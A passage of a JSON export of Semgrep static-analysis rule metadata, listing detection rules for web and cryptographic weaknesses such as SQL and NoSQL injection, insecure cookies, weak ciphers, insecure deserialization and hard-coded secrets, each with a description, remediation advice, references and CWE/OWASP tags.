Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://cwe.mitre.org/data/definitions/501.html](https://cwe.mitre.org/data/definitions/501.html)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","id":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","name":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly","id":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","name":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","id":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","name":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","id":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","name":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression","id":"python.django.security.audit.extends-custom-expression.extends-custom-expression","name":"python.django.security.audit.extends-custom-expression.extends-custom-expression","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.extends-custom-expression.extends-custom-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH)\n - [https://csrc.nist.gov/pubs/sp/800/56/a/r3/final](https://csrc.nist.gov/pubs/sp/800/56/a/r3/final)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://weakdh.org/sysadmin.html](https://weakdh.org/sysadmin.html)\n","text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","id":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","name":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli","id":"python.aws-lambda.security.mysql-sqli.mysql-sqli","name":"python.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"help":{"markdown":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use)\n - [https://www.php.net/manual/en/intro.mcrypt.php](https://www.php.net/manual/en/intro.mcrypt.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php)\n","text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"helpUri":"https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use","id":"php.lang.security.mcrypt-use.mcrypt-use","name":"php.lang.security.mcrypt-use.mcrypt-use","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mcrypt-use.mcrypt-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"help":{"markdown":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check)\n - [https://pkg.go.dev/github.com/gorilla/websocket#Upgrader](https://pkg.go.dev/github.com/gorilla/websocket#Upgrader)\n","text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","id":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","name":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","id":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","name":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","id":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","name":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"help":{"markdown":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage)\n - [https://docs.python.org/3/library/marshal.html?highlight=security](https://docs.python.org/3/library/marshal.html?highlight=security)\n","text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage","id":"python.lang.security.audit.marshal.marshal-usage","name":"python.lang.security.audit.marshal.marshal-usage","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.marshal.marshal-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","id":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","name":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret)\n - [https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY](https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret","id":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","name":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.hashids-with-django-secret.hashids-with-django-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and 